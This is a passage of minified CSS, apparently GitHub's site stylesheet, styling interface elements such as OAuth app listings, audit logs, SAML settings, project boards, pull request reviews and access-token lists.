.oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators 